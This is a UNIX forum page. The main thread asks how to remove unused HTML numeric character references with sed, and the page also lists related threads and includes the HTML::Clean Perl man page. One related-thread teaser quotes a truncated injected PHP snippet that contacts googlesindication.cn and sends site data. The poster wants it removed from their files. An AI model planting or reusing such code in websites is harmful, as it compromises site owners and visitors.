Sponsored Content
Top Forums UNIX for Beginners Questions & Answers How to remove unused html codes from the file using UNIX? Post 303037662 by karthik adiga on Friday 9th of August 2019 03:57:54 AM
Old 08-09-2019
How to remove unused html codes from the file using UNIX?

Hi All,

We have a HTML source which will be processed using a informatica workflow. In between these two we have a Unix script which transforms the file.

We are getting an error from past week in the informatica saying invalid format, because the file has unused html reference (0-8,14-31 etc)

example:

Code:
� -    Unused
 -    Unused
 -    Unused
 - Ÿ Unused

Source for the above:
Hypertext Markup Language - 2.0 - The HTML Coded Character Set


We need to handle it in Unix and remove the above mentioned characters from the HTML file before processing it.

I have tried using sed command like

Code:
sed -e 's/\&\([^\amp;|^\apos;|^\quot;|^\lt;|^\gt;]\)/\&\1/g'

but it is not serving the purpose. Also, since we have soo many unused reference, it cannot be hardcoded also.

Could you please let me know how to proceed with this
 

10 More Discussions You Might Find Interesting

1. UNIX for Dummies Questions & Answers

delete the unused file

Hi All, Can you please let me know how to delete any files that have not been accessed in the past 28 days in a directory. Thanks, Arun (3 Replies)
Discussion started by: arunkumar_mca
3 Replies

2. Linux

How to remove only html tags inside a file?

Hi All, I have following example file i want to remove all html tags only, Input File: <html> <head> <title>Software Solutions Inc., </title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </head> <body bgcolor=white leftmargin="0" topmargin="0"... (2 Replies)
Discussion started by: btech_raju
2 Replies

3. Shell Programming and Scripting

remove malicious codes from a file

Hello, Please advise a script/command to remove the following line for a file <?php error_reporting(0); $fn = "googlesindication.cn"; $fp = fsockopen($fn, 80, $errno, $errstr, 15); if (!$fp) { } else { $query='site='.$_SERVER; $out = "GET /links.php?".$query." HTTP/1.1\r\n"; ... (5 Replies)
Discussion started by: fed.linuxgossip
5 Replies

4. Programming

What Unix do with unused shared memory?

Hello, When creating shared memory in C, should be remove shared memory with shmctl function when don't need it. If it didn't remove, occupied shared memory stay and remain. If we create shared memory repeatedly without removing unusable shared memory, /dev/shm will full. Does Unix or... (1 Reply)
Discussion started by: pronetin
1 Replies

5. Shell Programming and Scripting

Remove external urls from .html file

Hi everyone. I have an html file with lines like so: link href="localFolder/..."> link href="htp://..."> img src="localFolder/..."> img src="htp://..."> I want to remove the links with http in the href and imgs with http in its src. I'm having trouble removing them because there... (4 Replies)
Discussion started by: CowCow339
4 Replies

6. UNIX for Advanced & Expert Users

Help to get file from windows to Unix via HTML

Dear, I have a requirement as below: I need an exe or bat file to facilitate multiple end users to upload their files (csv or xls) from windows environment to Unix server. Any front end like html would also be fine, I can develop a simple HTML script with browse button but not sure on... (4 Replies)
Discussion started by: Imran_Chennai
4 Replies

7. Shell Programming and Scripting

Removal of HTML ASCII Codes from file

Hi all, I have a file with extended ASCII codes in the description which needs to be removed. List of extended ascii codes "Œ", "œ", "Š", "š", "Ÿ", "ƒ", "-", "-", "‘", "'", "‚", "“", "”", "„","†", "‡", "•", "...", "‰", "€", "™" Sample data: Test Details-HAVE BEEN PUBLISHED... (1 Reply)
Discussion started by: btt3165
1 Replies

8. Shell Programming and Scripting

UNIX Env values in HTML file

Hi, I am sending 'mailx' one file.html from unix, and i want to put the field values from the unix environment.. like. <p><input type="text" name="name" value="Your name" /></p> in thin i want to put value "Your name" as let's say $HOME, can this be possible? If yes..can anyone please... (1 Reply)
Discussion started by: jaiankur
1 Replies

9. Shell Programming and Scripting

HTML Codes for Shell Programs

Hi All, I need to use my script via html web page, already webserv running in my unix box... Please provide me the sample html files or any web site Thanks (2 Replies)
Discussion started by: l_gshankar24
2 Replies

10. Shell Programming and Scripting

How to remove multiline HTML tags from a file?

I am trying to remove a multiline HTML tag and its contents from a few HTML files following the same basic pattern. So far using regex and sed have been unsuccessful. The HTML has a basic structure like this (with the normal HTML stuff around it): <div id="div1"> <div class="div2"> <other... (4 Replies)
Discussion started by: threesixtyfive
4 Replies
HTML::Clean(3pm)					User Contributed Perl Documentation					  HTML::Clean(3pm)

NAME
HTML::Clean - Cleans up HTML code for web browsers, not humans SYNOPSIS
use HTML::Clean; $h = new HTML::Clean($filename); # or.. $h = new HTML::Clean($htmlcode); $h->compat(); $h->strip(); $data = $h->data(); print $$data; DESCRIPTION
The HTML::Clean module encapsulates a number of common techniques for minimizing the size of HTML files. You can typically save between 10% and 50% of the size of a HTML file using these methods. It provides the following features: Remove unneeded whitespace (begining of line, etc) Remove unneeded META elements. Remove HTML comments (except for styles, javascript and SSI) Replace tags with equivilant shorter tags (<strong> --> <b>) etc. The entire proces is configurable, so you can pick and choose what you want to clean. THE HTML
::Clean CLASS $h = new HTML::Clean($dataorfile, [$level]); This creates a new HTML::Clean object. A Prerequisite for all other functions in this module. The $dataorfile parameter supplies the input HTML, either a filename, or a reference to a scalar value holding the HTML, for example: $h = new HTML::Clean("/htdocs/index.html"); $html = "<strong>Hello!</strong>"; $h = new HTML::Clean($html); An optional 'level' parameter controls the level of optimization performed. Levels range from 1 to 9. Level 1 includes only simple fast optimizations. Level 9 includes all optimizations. $h->initialize($dataorfile) This function allows you to reinitialize the HTML data used by the current object. This is useful if you are processing many files. $dataorfile has the same usage as the new method. Return 0 for an error, 1 for success. $h->level([$level]) Get/set the optimization level. $level is a number from 1 to 9. $myref = $h->data() Returns the current HTML data as a scalar reference. strip(\%options); Removes excess space from HTML You can control the optimizations used by specifying them in the %options hash reference. The following options are recognized: boolean values (0 or 1 values) whitespace Remove excess whitespace shortertags <strong> -> <b>, etc.. blink No blink tags. contenttype Remove default contenttype. comments Remove excess comments. entities &quot; -> ", etc. dequote remove quotes from tag parameters where possible. defcolor recode colors in shorter form. (#ffffff -> white, etc.) javascript remove excess spaces and newlines in javascript code. htmldefaults remove default values for some html tags lowercasetags translate all HTML tags to lowercase parameterized values meta Takes a space separated list of meta tags to remove, default "GENERATOR FORMATTER" emptytags Takes a space separated list of tags to remove when there is no content between the start and end tag, like this: <b></b>. The default is 'b i font center' Please note that if your HTML includes preformatted regions (this means, if it includes <pre>...</pre>, we do not suggest removing whitespace, as it will alter the rendered defaults. HTML::Clean will print out a warning if it finds a preformatted region and is requested to strip whitespace. In order to prevent this, specify that you don't want to strip whitespace - i.e. $h->strip( {whitespace => 0} ); compat() This function improves the cross-platform compatibility of your HTML. Currently checks for the following problems: Insuring all IMG tags have ALT elements. Use of Arial, Futura, or Verdana as a font face. Positioning the <TITLE> tag immediately after the <head> tag. defrontpage(); This function converts pages created with Microsoft Frontpage to something a Unix server will understand a bit better. This function currently does the following: Converts Frontpage 'hit counters' into a unix specific format. Removes some frontpage specific html comments SEE ALSO
Modules FrontPage::Web, FrontPage::File Web Sites Distribution Site - http://people.itu.int/~lindner/ AUTHORS
Paul Lindner for the International Telecommunication Union (ITU) COPYRIGHT
The HTML::Strip module is Copyright (c) 1998,99 by the ITU, Geneva Switzerland. All rights reserved. You may distribute under the terms of either the GNU General Public License or the Artistic License, as specified in the Perl README file. perl v5.8.8 2008-03-07 HTML::Clean(3pm)
All times are GMT -4. The time now is 09:15 AM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy